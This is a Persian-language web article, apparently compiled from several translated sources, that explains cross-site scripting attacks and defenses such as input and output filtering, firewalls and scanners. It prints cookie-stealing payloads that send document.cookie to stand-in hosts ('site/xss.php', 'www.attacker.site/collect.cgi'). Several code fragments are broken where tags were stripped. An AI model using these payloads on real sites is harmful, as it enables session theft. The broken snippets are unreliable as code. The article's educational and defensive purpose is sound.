خانه > زیبایی و سلامتی > حمله xss چیست؟ آسیب پذیری XSS چیست؟

حمله xss چیست؟ آسیب پذیری XSS چیست؟

اسکریپت بین سایتی با استفاده از اسکریپت جاوا محبوب ترین نوع حمله است. در این مقاله به شما خواهیم گفت که استفاده از اسکریپت جاوا چه مشکلاتی ایجاد می کند و چگونه از خود در برابر حملات XSS محافظت کنید.

حمله XSS چیست؟

XSS نوعی حمله به کاربران منابع اینترنتی است که هدف از آن سرقت اطلاعات احراز هویت مدیران سایت به منظور دسترسی به بخش مدیریتی، سایر کاربرانی است که توانایی دسترسی شخصی به قسمت های خصوصی منبع را دارند. .

این حملات نه تنها با هدف هک کردن سایت، بلکه برای آدم ربایی نیز قابل انجام است:

  • اعتبار برای دسترسی به منابع شخص ثالث؛
  • شماره کارت های بانکی؛
  • داده های دسترسی به کیف پول الکترونیکی؛
  • اطلاعات تماس؛
  • سایر داده های حساس کاربر
بردارهای حمله XSS

این نوع حمله دو جهت دارد:

فعال - نوعی حمله زمانی که یک مهاجم سعی می کند آسیب پذیری هایی را در فیلتر یک منبع اینترنتی پیدا کند. از طریق ترکیب خاصی از کاراکترها و برچسب ها، هکر درخواستی را ایجاد می کند که منبع آن را درک کرده و دستور را اجرا می کند. پس از یافتن یک آسیب پذیری در سیستم امنیتی، کدهای مخرب در درخواست تعبیه شده است که به عنوان مثال، تمام کوکی ها را به مکانی مناسب برای هکر ارسال می کند.

منفعل - شامل مداخله موضوع حمله است. نکته این است که کاربر را مجبور به دنبال کردن یک پیوند مخرب برای پیاده سازی کدهای مخرب کنید. اجرای این حملات دشوار است زیرا مستلزم داشتن دانش فنی عالی و دانش خوب در زمینه روانشناسی است.

مقررات ایمنی

برای جلوگیری از قربانی شدن یک حمله XSS، باید قوانین امنیتی زیر را رعایت کنید:

  • قانون اصلی توسعه دهندگان استفاده از هر فیلتری است.
  • تمام ساختارهای تودرتو را فیلتر کنید.
  • رمزگذاری هنگام ایجاد فیلتر، حتماً خطر حملات کدگذاری را در نظر بگیرید. برنامه های رمزگذار زیادی وجود دارد که با آنها می توانید هر نوع حمله را رمزگذاری کنید تا یک فیلتر آن را "نبیند". بنابراین قبل از اجرای کد درخواست رمزگشایی را در فیلتر اعمال کنید.
  • کاربرد تگ ها یک آسیب‌پذیری مربوط به تگ‌های url، bb، img وجود دارد که پارامترهای زیادی از جمله lowsrc و dynsrc حاوی javacsript دارد. این برچسب ها باید فیلتر شوند. اگر از تصاویر در منبع خود استفاده نمی کنید، آنها را به طور کلی غیرفعال کنید.
  • فیلتر مورد استفاده باید ترکیب های مختلفی از کاراکترها را در نظر بگیرد. هر چه تعداد آنها بیشتر باشد، بهتر است.
    • نتیجه

    طبق آمار، 84 درصد از منابع اینترنتی به خوبی در برابر حملات XSS محافظت می شوند. 16 درصد دیگر قادر به مقاومت موثر در برابر آنها نیستند. رفع این نقص فاحش، صاحبان سایت را ملزم به سرمایه گذاری اضافی در امنیت می کند، که اکثر آنها برای آن آماده نیستند. با این حال، تشدید قوانین مربوط به آسیب، نشت و افشای داده‌های شخصی، به طور فزاینده‌ای مالکان بی‌وجدان را مجبور می‌کند تا امنیت سایت‌های خود را بهبود بخشند.

    اسکریپت بین سایتی (به اختصار XSS) یک آسیب پذیری گسترده است که بر بسیاری از برنامه های کاربردی وب تأثیر می گذارد. این به مهاجم اجازه می دهد تا کد مخرب را به یک وب سایت تزریق کند به گونه ای که مرورگر کاربر بازدید کننده از سایت این کد را اجرا کند.

    به طور معمول، بهره‌برداری از چنین آسیب‌پذیری مستلزم نوعی تعامل با کاربر است: یا با استفاده از مهندسی اجتماعی به سایت آلوده کشیده می‌شوند، یا به سادگی منتظر می‌مانند تا کاربر خودش از این سایت بازدید کند. بنابراین، توسعه دهندگان اغلب آسیب پذیری های XSS را جدی نمی گیرند.

    اما اگر آنها حذف نشوند، این می تواند یک خطر امنیتی جدی ایجاد کند.

    بیایید تصور کنیم که در پنل مدیریت وردپرس هستیم و محتوای جدیدی را اضافه می کنیم. اگر برای انجام این کار از یک افزونه آسیب پذیر XSS استفاده کنیم، می تواند مرورگر را مجبور به ایجاد یک مدیر جدید، اصلاح محتوا و انجام سایر اقدامات مخرب کند. اسکریپت بین سایتی به مهاجم کنترل تقریباً کاملی بر مهمترین نرم افزار این روزها یعنی مرورگر می دهد.

    XSS: آسیب پذیری تزریق

    هر وب‌سایت یا برنامه‌ای دارای چندین نقطه ورود داده است - فیلدهای تا خود URL را تشکیل می‌دهند. ساده ترین مثال ورودی زمانی است که یک نام کاربری و رمز عبور را در یک فرم وارد می کنیم:

    نام ما در پایگاه داده سایت برای تعامل بعدی با ما ذخیره خواهد شد. حتما وقتی در هر سایتی مجوز داشتید، احوالپرسی شخصی به سبک «ایلیا» خوش آمدید دیدید.

    برای چنین اهدافی است که نام های کاربری در پایگاه داده ذخیره می شوند.

    تزریق روشی است که در آن یک توالی خاصی از کاراکترها به جای نام یا رمز عبور وارد می شود و سرور یا مرورگر را مجبور می کند به روش خاصی که مهاجم نیاز دارد پاسخ دهد.

    اسکریپت بین سایتی تزریقی است که کدی را تزریق می کند که اقداماتی را در مرورگر از طرف یک وب سایت انجام می دهد. این می تواند هم با اعلان کاربر و هم در پس زمینه بدون اطلاع او اتفاق بیفتد.

    حملات XSS سنتی: منعکس شده (غیر مداوم).

    یک حمله XSS منعکس شده زمانی آغاز می شود که کاربر بر روی یک پیوند ساخته شده ویژه کلیک کند.

    این آسیب‌پذیری‌ها زمانی رخ می‌دهند که داده‌های ارائه‌شده توسط یک سرویس‌گیرنده وب، معمولاً در پارامترهای درخواست HTTP یا به شکل HTML، مستقیماً توسط اسکریپت‌های سمت سرور برای تجزیه و نمایش صفحه نتایج برای آن مشتری، بدون پردازش مناسب، اجرا می‌شوند.

    ذخیره شده (دائمی).

    XSS ذخیره شده زمانی امکان پذیر است که یک مهاجم موفق شود کد مخرب را به سروری تزریق کند که هر بار که به صفحه اصلی دسترسی پیدا می کند در مرورگر اجرا می شود. یک مثال کلاسیک از این آسیب‌پذیری، انجمن‌هایی هستند که اجازه نظرات را در قالب HTML می‌دهند.

    آسیب پذیری های ناشی از کد سمت سرویس گیرنده (جاوا اسکریپت، ویژوال بیسیک، فلش و غیره): همچنین به عنوان DOM شناخته می شود: منعکس شده (غیر پایدار).

    همانطور که در مورد سمت سرور، تنها در این مورد امکان حمله به دلیل پردازش کد توسط مرورگر وجود دارد.

    ذخیره شده (دائمی).

    مشابه XSS ذخیره شده در سمت سرور، فقط در این مورد، مؤلفه مخرب در سمت سرویس گیرنده با استفاده از ذخیره سازی مرورگر ذخیره می شود.

    نمونه هایی از آسیب پذیری های XSS.

    جالب اینجاست که در بیشتر مواردی که این آسیب‌پذیری توضیح داده می‌شود، با کد زیر می‌ترسیم:

    http://www.site.com/page.php?var=alert("xss");

    دو نوع آسیب پذیری XSS وجود دارد - غیرفعال و فعال.

    آسیب پذیری فعالخطرناک تر است، زیرا مهاجم نیازی به فریب قربانی از طریق یک پیوند خاص ندارد، او فقط باید کد را به پایگاه داده یا برخی از فایل ها در سرور تزریق کند. بنابراین، تمام بازدیدکنندگان سایت به طور خودکار قربانی می شوند. می توان آن را به عنوان مثال با استفاده از تزریق SQL (تزریق SQL) ادغام کرد. بنابراین، شما نباید به داده های ذخیره شده در پایگاه داده اعتماد کنید، حتی اگر در هنگام درج پردازش شده باشند.

    مثال آسیب پذیری غیرفعالرا می توان در همان ابتدای مقاله یافت. مهندسی اجتماعی قبلاً در اینجا مورد نیاز است، به عنوان مثال، یک نامه مهم از مدیریت سایت با درخواست برای بررسی تنظیمات حساب خود پس از بازیابی از یک نسخه پشتیبان. بر این اساس، شما باید آدرس قربانی را بدانید یا فقط یک لیست پستی هرزنامه یا پست در برخی از انجمن ها ترتیب دهید، و حتی این واقعیت نیست که قربانیان ساده لوح باشند و پیوند شما را دنبال کنند.

    علاوه بر این، هر دو پارامتر POST و GET می توانند در معرض آسیب پذیری غیرفعال باشند. البته با پارامترهای POST باید به سراغ ترفندها بروید. به عنوان مثال، تغییر مسیر از سایت مهاجم.

    document.getElementsByTagName("form").submit();

    بنابراین، آسیب‌پذیری GET کمی خطرناک‌تر است، زیرا تشخیص دامنه اشتباه برای قربانی آسان تر از پارامتر اضافی است (اگرچه URL معمولاً می تواند رمزگذاری شود).

    دزدیدن کوکی ها

    این متداول ترین مثال از حمله XSS است. سایت‌ها گاهی اوقات برخی از اطلاعات ارزشمند را در کوکی‌ها ذخیره می‌کنند (گاهی اوقات حتی ورود به سیستم و رمز عبور کاربر (یا هش آن)، اما خطرناک‌ترین آنها سرقت یک جلسه فعال است، بنابراین فراموش نکنید که روی پیوند «خروج» در سایت‌ها کلیک کنید، حتی اگر این یک کامپیوتر خانگی است. خوشبختانه، در اکثر منابع، طول عمر جلسه محدود است.

    Varimg = New Image(); img.src = "http://site/xss.php؟" +document.cookie;

    بنابراین، ما محدودیت های دامنه را در XMLHttpRequest معرفی کردیم، اما این برای یک مهاجم ترسناک نیست، زیرا وجود دارد، , , background:url(); و غیره

    سرقت اطلاعات از فرم ها

    ما برای مثال از طریق getElementById به دنبال فرم می گردیم و رویداد onsubmit را دنبال می کنیم. حال قبل از ارسال فرم، داده های وارد شده به سرور مهاجم نیز ارسال می شود.

    این نوع حمله تا حدودی یادآور فیشینگ است، اما یک سایت جعلی نیست که استفاده می شود، بلکه واقعی است که باعث اعتماد بیشتر قربانی می شود.

    حمله DDoS (حمله انکار سرویس توزیع شده)

    یک آسیب پذیری XSS در منابع پربازدید می تواند برای راه اندازی یک حمله DDoS استفاده شود. ماهیت ساده است - درخواست های زیادی وجود دارد که سرور مورد حمله نمی تواند مقاومت کند.
    در واقع، این رابطه غیرمستقیم با XSS دارد، زیرا ممکن است اصلا از اسکریپت ها استفاده نشود، ساخت فرم کافی است:

    خطر XSS چیست؟

    چگونه می توانید از سایت خود در برابر XSS محافظت کنید؟ چگونه کد آسیب پذیری را بررسی کنیم؟ فناوری هایی مانند فایروال Sucuri وجود دارند که به طور خاص برای جلوگیری از چنین حملاتی طراحی شده اند. اما اگر توسعه‌دهنده هستید، قطعاً می‌خواهید درباره نحوه شناسایی و رفع آسیب‌پذیری‌های XSS اطلاعات بیشتری کسب کنید.

    در قسمت بعدی مقاله اختصاص داده شده به XSS در این مورد صحبت خواهیم کرد.

    اوری سگال

    بیاموزید که چگونه هکرها از حملات اسکریپت نویسی بین سایتی استفاده می کنند، به چه چیزی آسیب می رسانند (و به چه چیزی آسیب نمی زنند)، چگونه آنها را شناسایی کنید، و چگونه از وب سایت خود و بازدیدکنندگان آن در برابر این نقض حریم خصوصی و امنیتی مخرب محافظت کنید.

    اسکریپت بین سایتی (یا به اختصار XSS) یکی از رایج ترین حملات لایه برنامه است که هکرها از آن برای شکستن برنامه های وب استفاده می کنند. XSS یک حمله به حریم خصوصی اطلاعات مشتریان یک وب سایت خاص است. هنگامی که داده های مشتری به سرقت رفته و بعداً برای هر منظوری مورد استفاده قرار می گیرند، می تواند منجر به تخریب کامل سیستم امنیتی شود. اکثر حملات شامل دو طرف هستند: یا مهاجم و وب سایت، یا مهاجم و مشتری قربانی. با این حال، سه طرف درگیر حمله XSS هستند: مهاجم، مشتری و وب سایت.

    هدف از حمله XSS سرقت کوکی ها یا سایر اطلاعات حساس از رایانه مشتری است که می تواند مشتری را در یک وب سایت شناسایی کند. با داشتن اطلاعاتی برای شناسایی به عنوان یک کاربر قانونی، یک مهاجم می تواند به عنوان یک کاربر در سایت عمل کند، یعنی. تظاهر به .... بودن. به عنوان مثال، در یک ممیزی که در یک شرکت بزرگ انجام شد، با استفاده از حمله XSS، اطلاعات خصوصی و شماره کارت اعتباری یک کاربر به دست آمد. این با اجرای کد جاوا اسکریپت سفارشی به دست آمد. این کد در مرورگر قربانی (مشتری) اجرا شد که دارای امتیاز دسترسی به وب سایت بود. تعداد بسیار محدودی از امتیازات جاوا اسکریپت وجود دارد که به اسکریپت اجازه دسترسی به هیچ چیز دیگری جز اطلاعات مربوط به سایت را نمی دهد. مهم است که تاکید کنیم که اگرچه آسیب پذیری در وب سایت وجود دارد، خود وب سایت مستقیماً تحت تأثیر قرار نمی گیرد. اما این برای اسکریپت کافی است تا کوکی ها را جمع آوری کند و برای مهاجم ارسال کند. در نتیجه مهاجم داده های لازم را دریافت می کند و می تواند از قربانی تقلید کند.

    بیایید نام سایت مورد حمله را اینگونه بگذاریم: www.vulnerable.site. یک حمله سنتی XSS بر اساس یک اسکریپت آسیب پذیر است که در یک سایت آسیب پذیر قرار دارد. این اسکریپت بخشی از درخواست HTTP (معمولاً پارامترها، اما گاهی اوقات سرصفحه یا مسیر HTTP) را می خواند و آن را برای صفحه پاسخ، به طور کامل یا جزئی، تکرار می کند. این درخواست را پاک نمی کند (یعنی بررسی نمی کند که درخواست حاوی کد جاوا اسکریپت یا برچسب های HTML نباشد). فرض کنید این اسکریپت Welcome.cgi نام دارد و نام آن یک پارامتر است. می توان از آن به این صورت استفاده کرد:

    چگونه می توان از این موضوع سوء استفاده کرد؟ مهاجم باید بتواند مشتری (قربانی) را برای کلیک روی لینکی که مهاجم در اختیار او قرار می دهد، فریب دهد. این یک پیوند با دقت و مخرب ساخته شده است که باعث می شود مرورگر وب قربانی به یک وب سایت (www.vulnerable.site) دسترسی پیدا کند و اسکریپت آسیب پذیر را اجرا کند. داده های این اسکریپت حاوی کد جاوا اسکریپت است که به کوکی های ذخیره شده توسط مرورگر مشتری برای www.vulnerable.site دسترسی دارد. این مجاز است زیرا مرورگر مشتری "فکر می کند" کد جاوا اسکریپت از www.vulnerable.site آمده است. و مدل امنیتی جاوا اسکریپت به اسکریپت هایی که از یک سایت خاص سرچشمه می گیرند اجازه می دهد تا به کوکی هایی که متعلق به آن سایت هستند دسترسی داشته باشند.

    پاسخ سایت آسیب پذیر به شرح زیر خواهد بود:

    خوش آمدی! هشدار سلام (document.cookie)

    به سیستم ما خوش آمدید...

    مرورگر مشتری قربانی این درخواست را به عنوان یک صفحه HTML حاوی یک قطعه کد جاوا اسکریپت تفسیر می کند. این کد، زمانی که اجرا شود، به تمام کوکی های متعلق به www.vulnerable.site دسترسی خواهد داشت. بنابراین، باعث ایجاد یک پنجره بازشوی مرورگر می‌شود که تمام کوکی‌های مشتری مرتبط با www.vulnerable.site را نشان می‌دهد.

    البته، یک حمله واقعی شامل ارسال این فایل ها به مهاجم است. برای انجام این کار، یک مهاجم می تواند یک وب سایت (www.attacker.site) ایجاد کند و از یک اسکریپت برای دریافت کوکی ها استفاده کند. مهاجم به جای فراخوانی یک پنجره پاپ آپ، کدی را می نویسد که به آدرس اینترنتی www.attacker.site دسترسی دارد. در این راستا اسکریپتی برای دریافت کوکی ها اجرا می شود. پارامتر این اسکریپت کوکی های سرقت شده است. بنابراین، یک مهاجم می تواند کوکی ها را از سرور www.attacker.site دریافت کند.

    بلافاصله پس از بارگیری این صفحه، مرورگر کد جاوا اسکریپت درج شده در آنجا را اجرا می کند و درخواست را به اسکریپت collect.cgi در www.attacker.site به همراه مقدار کوکی های www.vulnerable.site که از قبل در مرورگر هستند ارسال می کند. . این امر امنیت کوکی‌های www.vulnerable.site را که مشتری دارد به خطر می‌اندازد. این به مهاجم اجازه می دهد تا وانمود کند که قربانی است. حریم خصوصی مشتری کاملا نقض شده است.

    توجه داشته باشید.
    فراخوانی یک پاپ آپ با جاوا اسکریپت معمولا برای نشان دادن آسیب پذیری سایت در برابر حمله XSS کافی است. اگر امکان فراخوانی تابع Alert از جاوا اسکریپت وجود دارد، معمولاً دلیلی وجود ندارد که تماس ممکن است شکست بخورد. به همین دلیل است که بیشتر نمونه‌های حملات XSS از تابع Alert استفاده می‌کنند که تعیین موفقیت یک حمله را بسیار آسان می‌کند.

    حمله فقط می تواند در مرورگر قربانی رخ دهد، همان مرورگر مورد استفاده برای دسترسی به سایت (www.vulnerable.site). مهاجم باید مشتری را مجبور به دسترسی به پیوند مخرب کند. این را می توان از چند طریق به دست آورد.

    • مهاجم یک ایمیل حاوی یک صفحه HTML ارسال می کند که باعث می شود مرورگر پیوند را باز کند. این مستلزم این است که قربانی از یک سرویس گیرنده ایمیل با قابلیت HTML استفاده کند. و نمایشگر HTML روی کلاینت باید همان مرورگری باشد که برای دسترسی به www.vulnerable.site استفاده می شود.
    • مشتری از سایتی بازدید می کند که احتمالاً توسط یک مهاجم ایجاد شده است، جایی که پیوند به یک تصویر یا سایر عناصر فعال HTML باعث می شود مرورگر پیوند را باز کند. باز هم، در این مورد، ضروری است که از همان مرورگر برای دسترسی به این سایت و www.vulnerable.site استفاده شود.

    کد جاوا اسکریپت مخرب می تواند به هر یک از اطلاعات زیر دسترسی داشته باشد:

    • کوکی های دائمی (www.vulnerable.site) که مرورگر ذخیره می کند.
    • کوکی های درون حافظه (www.vulnerable.site)، که توسط نمونه مرورگر فقط هنگام مرور www.vulnerable.site پشتیبانی می شوند.
    • نام سایر پنجره ها برای www.vulnerable.site باز می شود.
    • هر اطلاعاتی که از طریق DOM فعلی در دسترس است (از مقادیر، کد HTML و غیره).

    داده ها برای شناسایی، مجوز و احراز هویت معمولاً به شکل کوکی ذخیره می شوند. اگر این کوکی ها پایدار باشند، قربانی آسیب پذیر است حتی اگر هنگام دسترسی به www.vulnerable.site از مرورگر استفاده نکند. با این حال، اگر کوکی‌ها موقتی هستند (مثلاً در RAM ذخیره می‌شوند)، باید یک جلسه سمت کلاینت با www.vulnerable.site وجود داشته باشد.

    یکی دیگر از پیاده‌سازی‌های احتمالی برچسب شناسایی، پارامتر URL است. در مواردی مانند این، می‌توانید با استفاده از جاوا اسکریپت مانند این به پنجره‌های دیگر دسترسی پیدا کنید (با فرض اینکه نام صفحه با پارامترهای URL مورد نظر Foobar باشد):

    var viktima_window=open(","foobar");alert("قابل دسترسی:

    "+victim_window.location.search)

    برای اجرای یک اسکریپت جاوا اسکریپت، می توانید از بسیاری از تگ های HTML غیر از . در واقع می توان کدهای مخرب جاوا اسکریپت را روی سرور دیگری قرار داد و سپس کلاینت را مجبور به دانلود اسکریپت و اجرای آن کرد. اگر نیاز به اجرای مقدار زیادی کد دارید، یا اگر کد حاوی کاراکترهای خاصی باشد، این می تواند مفید باشد.

    در اینجا برخی از تغییرات این احتمالات وجود دارد.

    • به جای ...، هکرها می توانند از ساختار استفاده کنند. این برای سایت هایی که تگ HTML را فیلتر می کنند مناسب است.
    • به جای ...، می توانید از ساخت و ساز استفاده کنید. این در شرایطی خوب است که کد جاوا اسکریپت خیلی طولانی است، یا اگر حاوی کاراکترهای غیرقانونی باشد.

    گاهی اوقات داده های تعبیه شده در صفحه پاسخ در یک زمینه HTML پولی است. در این حالت، ابتدا باید به یک زمینه آزاد "فرار" کنید و سپس یک حمله XSS را انجام دهید. به عنوان مثال، اگر داده ها به عنوان مقدار پیش فرض یک فیلد فرم HTML درج شود:

    و کد HTML حاصل به صورت زیر خواهد بود:

    پنجره.باز

    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

    تا اینجا دیدیم که یک حمله XSS می تواند در پارامتر درخواست GET که اسکریپت به آن پاسخ می دهد رخ دهد. اما همچنین می توان با استفاده از درخواست POST یا با استفاده از مؤلفه مسیر درخواست HTTP و حتی با استفاده از برخی هدرهای HTTP (مثلاً Referer) یک حمله انجام داد.

    به طور خاص، مؤلفه مسیر زمانی مفید است که صفحه خطا یک مسیر نامعتبر را برمی گرداند. در این مورد، گنجاندن یک اسکریپت مخرب در مسیر اغلب منجر به اجرای آن می شود. بسیاری از سرورهای وب در برابر این حمله آسیب پذیر هستند.

    درک این نکته مهم است که اگرچه وب سایت مستقیماً تحت تأثیر این حمله قرار نمی گیرد (به طور معمول به کار خود ادامه می دهد، هیچ کد مخربی روی آن اجرا نمی شود، حمله DoS رخ نمی دهد، و داده های سایت مستقیما خوانده یا دستکاری نمی شوند. با)، همچنان یک نقض در سیستم امنیتی است که سایت به مشتریان یا بازدیدکنندگان خود ارائه می دهد. این شبیه به سایتی است که برای استقرار یک برنامه با برچسب های امنیتی ضعیف استفاده می شود. به همین دلیل، مهاجم می تواند برچسب امنیتی مشتری را حدس بزند و وانمود کند که او (یا او) است.

    نقطه ضعف برنامه اسکریپت است که پارامتر آن را بدون توجه به مقدار آن برمی گرداند. یک اسکریپت خوب باید مطمئن شود که پارامتر در فرمت صحیح است، حاوی کاراکترهای معتبر و غیره است. معمولاً دلیلی وجود ندارد که یک پارامتر معتبر حاوی تگ های HTML یا کد جاوا اسکریپت باشد. قبل از اینکه در یک پاسخ تعبیه شود یا در یک برنامه کاربردی استفاده شود، آنها باید از یک پارامتر حذف شوند. این امر ایمنی را تضمین می کند.

    سه راه برای ایمن سازی سایت شما در برابر حملات XSS وجود دارد.

  • با انجام فیلتر ورودی خود (که گاهی اوقات به آن بهداشت ورودی گفته می شود). برای هر ورودی کاربر (چه یک پارامتر یا یک هدر HTML)، هر اسکریپت خودنویس باید از فیلتر پیشرفته در برابر برچسب های HTML، از جمله کد جاوا اسکریپت استفاده کند. به عنوان مثال، اسکریپت Welcome.cgi از مثال قبلی باید پس از رمزگشایی پارامتر نام، تگ را فیلتر کند. این روش چندین اشکال جدی دارد.
    • این نیاز به برنامه نویس برنامه دارد که دانش خوبی از فناوری های امنیتی داشته باشد.
    • از برنامه نویس می خواهد که تمام منابع ورودی ممکن را پوشش دهد (پارامترهای درخواست، پارامترهای بدنه درخواست POST، هدرهای HTTP).
    • نمی تواند در برابر آسیب پذیری های موجود در اسکریپت ها یا سرورهای شخص ثالث محافظت کند. به عنوان مثال، در برابر مشکلات در صفحات خطا در سرورهای وب (که مسیر منبع را نمایش می دهند) محافظت نمی کند.
  • انجام "فیلتر خروجی"، یعنی. فیلتر کردن داده های کاربر زمانی که به مرورگر ارسال می شود، نه زمانی که اسکریپت آن را دریافت می کند. یک مثال خوب از این رویکرد، اسکریپتی است که داده ها را در پایگاه داده وارد کرده و سپس نمایش می دهد. در این مورد، مهم است که فیلتر را نه روی رشته ورودی اصلی، بلکه فقط به نسخه خروجی اعمال کنید. معایب این روش مشابه معایب فیلتر ورودی است.
  • یک فایروال برنامه شخص ثالث (فایروال) نصب کنید. این سپر حملات XSS را قبل از رسیدن به وب سرور و اسکریپت های آسیب پذیر رهگیری و مسدود می کند. فایروال های برنامه می توانند همه روش های ورودی را به روشی عمومی (شامل مسیر HTTP و هدرها) بدون توجه به اسکریپت یا مسیری از برنامه بومی، اسکریپت شخص ثالث یا اسکریپتی که هیچ منبعی را توصیف نمی کند (مثلاً طراحی شده برای برای تحریک صفحه پاسخ 404 از سرور). برای هر منبع ورودی، فایروال برنامه ورودی را برای نمونه های مختلف تگ های HTML و کد جاوا اسکریپت بررسی می کند. اگر مطابقت وجود داشته باشد، درخواست مسدود می شود و داده های مخرب به سرور نمی رسد.

    • نتیجه منطقی حفاظت از سایت، بررسی امنیت آن در برابر حملات XSS است. مانند محافظت از یک سایت در برابر XSS، بررسی های امنیتی را می توان به صورت دستی (راه سخت) یا با استفاده از یک ابزار خودکار ارزیابی آسیب پذیری برنامه کاربردی وب انجام داد. چنین ابزاری بار تأیید را از روی دوش شما برمی دارد. این برنامه از سایت عبور می کند و برای هر اسکریپتی که پیدا می کند، هر گونه تغییری را که می داند اجرا می کند. این همه پارامترها، هدرها و مسیرها را امتحان می کند. در هر دو روش، هر ورودی به برنامه (پارامترهای همه اسکریپت ها، هدرهای HTTP، مسیرها) با حداکثر گزینه ممکن بررسی می شود. و اگر صفحه پاسخ حاوی کد جاوا اسکریپت در زمینه ای باشد که مرورگر بتواند آن را اجرا کند، پیام آسیب پذیری XSS ظاهر می شود. به عنوان مثال هنگام ارسال متن زیر:

    هشدار (document.cookie)

    برای هر پارامتر هر اسکریپت (از طریق یک مرورگر با قابلیت جاوا اسکریپت برای شناسایی ساده ترین نوع آسیب پذیری XSS)، اگر متن به عنوان کد جاوا اسکریپت تفسیر شود، مرورگر یک پنجره هشدار جاوا اسکریپت ظاهر می شود. البته چندین گزینه وجود دارد. بنابراین، آزمایش تنها این گزینه کافی نیست. و همانطور که قبلاً یاد گرفتید، می توانید کد جاوا اسکریپت را در فیلدهای مختلف درخواست جاسازی کنید: پارامترها، هدرهای HTTP و مسیر. با این حال، در برخی موارد (به ویژه در مورد هدر HTTP Referer) انجام یک حمله مبتنی بر مرورگر ناخوشایند است.

    اسکریپت بین سایتی یکی از رایج ترین حملات لایه برنامه است که هکرها از آن برای نفوذ به برنامه های وب استفاده می کنند. همچنین خطرناک ترین است. این حمله به حریم خصوصی مشتریان یک وب سایت خاص است. این می تواند منجر به تخریب کامل سیستم امنیتی شود، زمانی که داده های مشتری به سرقت رفته و بعداً برای اهدافی مورد استفاده قرار گیرد. متأسفانه، همانطور که این مقاله توضیح می دهد، این کار اغلب بدون اطلاع مشتری یا سازمانی که مورد حمله قرار گرفته است انجام می شود.

    برای جلوگیری از آسیب پذیری وب سایت ها در برابر این فعالیت های مخرب، مهم است که یک سازمان یک استراتژی برای حفاظت آنلاین و آفلاین اجرا کند. این شامل یک بررسی خودکار آسیب‌پذیری است که می‌تواند تمام آسیب‌پذیری‌های وب شناخته‌شده و برنامه‌های خاص (مانند اسکریپت بین سایتی) را در یک سایت آزمایش کند. برای محافظت کامل آنلاین، نصب فایروالی که بتواند هر نوع دستکاری کد و داده‌های موجود در یا پشت سرورهای وب را شناسایی و مسدود کند، حیاتی است.


    برنامه نویسی متقابل سایت (XSS) به حمله تزریق کد سمت سرویس گیرنده اشاره دارد که در آن یک مهاجم می تواند اسکریپت های مخرب را در یک وب سایت یا برنامه وب اجرا کند. XSS یکی از رایج ترین آسیب پذیری های برنامه وب است و زمانی رخ می دهد که یک برنامه وب از اعتبارسنجی یا رمزگذاری ورودی/خروجی استفاده نمی کند.

    با استفاده از XSS، مهاجم به طور مستقیم قربانی را هدف قرار نمی دهد. در عوض، از یک آسیب‌پذیری در یک وب‌سایت یا برنامه وب که قربانی بازدید می‌کند، استفاده می‌کند و اساساً از وب‌سایت آسیب‌پذیر به عنوان وسیله‌ای برای ارائه یک اسکریپت مخرب به مرورگر قربانی استفاده می‌کند.

    در حالی که XSS را می توان در VBScript، ActiveX و Flash استفاده کرد (اگرچه دومی در حال حاضر منسوخ شده است)، مسلماً بیشترین سوء استفاده در جاوا اسکریپت است - در درجه اول به این دلیل که جاوا اسکریپت برای اکثر وب سایت ها اساسی است.

    نحوه کار اسکریپت متقابل سایت

    به منظور اجرای کدهای مخرب جاوا اسکریپت در مرورگر قربانی، مهاجم ابتدا باید راهی برای تزریق بار به صفحه وب که قربانی بازدید می کند بیابد. البته، یک مهاجم می‌تواند از تکنیک‌های مهندسی اجتماعی برای متقاعد کردن کاربر برای بازدید از یک صفحه آسیب‌پذیر با بارگذاری جاوا اسکریپت استفاده کند.

    برای حمله XSS، یک وب سایت آسیب پذیر باید مستقیماً ورودی کاربر را در صفحات خود قرار دهد. سپس مهاجم می تواند رشته ای را وارد کند که در صفحه وب استفاده می شود و به عنوان کد توسط مرورگر قربانی پردازش می شود.

    شبه کد سمت سرور زیر برای نمایش آخرین نظر در یک صفحه وب استفاده می شود.

    چاپ "" چاپ "اخرین نظر" چاپ database.latestComment print "" اسکریپت بالا به سادگی آخرین نظر را از پایگاه داده نظرات چاپ می کند و محتوا را در صفحه HTML چاپ می کند، با این فرض که نظر چاپ شده فقط متن است.

    کد صفحه بالا در برابر xss آسیب پذیر است زیرا یک مهاجم می تواند نظری را بگذارد که حاوی یک بار مخرب باشد، مانند

    doSomethingEvil();. کاربرانی که از صفحه وب بازدید می کنند صفحه HTML زیر را دریافت خواهند کرد.

    آخرین نظر doSomethingEvil(); هنگامی که صفحه در مرورگر قربانی بارگذاری می شود، اسکریپت مخرب مهاجم اغلب بدون آگاهی یا توانایی کاربر برای جلوگیری از چنین حمله ای اجرا می شود.

    نکته مهم: آسیب‌پذیری -xss تنها زمانی می‌تواند وجود داشته باشد که بار (اسکریپت مخرب) که مهاجم درج می‌کند در نهایت (مانند HTML در این مورد) در مرورگر قربانی پردازش شود.

    مهاجم با جاوا اسکریپت چه کاری می تواند انجام دهد؟

    عواقب کاری که یک مهاجم می تواند برای اجرای جاوا اسکریپت در یک صفحه وب انجام دهد ممکن است فوراً آشکار نشود، به خصوص که مرورگرها جاوا اسکریپت را در یک محیط کاملاً کنترل شده اجرا می کنند و جاوا اسکریپت دسترسی محدودی به سیستم عامل کاربر و فایل های کاربر دارد.

    با این حال، با توجه به اینکه جاوا اسکریپت به موارد زیر دسترسی دارد، درک آنچه مهاجمان خلاق با جاوا اسکریپت می توانند به دست آورند، آسان تر است.

    جاوا اسکریپت مخرب به همه اشیاء مشابه بقیه صفحه وب از جمله دسترسی به کوکی ها دسترسی دارد. کوکی‌ها اغلب برای ذخیره نشانه‌های جلسه استفاده می‌شوند، اگر مهاجم بتواند کوکی جلسه کاربر را دریافت کند، می‌تواند جعل هویت کاربر باشد.

    جاوا اسکریپت می تواند از XMLHttpRequest برای ارسال درخواست های http با محتوای دلخواه در جهت های دلخواه استفاده کند.

    جاوا اسکریپت در مرورگرهای مدرن می تواند از API های HTML5 مانند دسترسی به موقعیت جغرافیایی کاربر، وب کم، میکروفون و حتی فایل های خاص از سیستم فایل کاربر استفاده کند. در حالی که بیشتر این APIها به تعامل با کاربر نیاز دارند، XSS همراه با برخی مهندسی اجتماعی هوشمندانه می تواند برای یک مهاجم خوب کار کند.

    به طور کلی، در ترکیب با مهندسی اجتماعی، این روش ها به مهاجمان اجازه می دهد تا حملاتی مانند سرقت کوکی، کی لاگ، فیشینگ و سرقت هویت را سازماندهی کنند. به طور حیاتی، آسیب پذیری های XSS بستر ایده آلی را برای مهاجمان فراهم می کند تا حملات را به حملات جدی تر افزایش دهند.

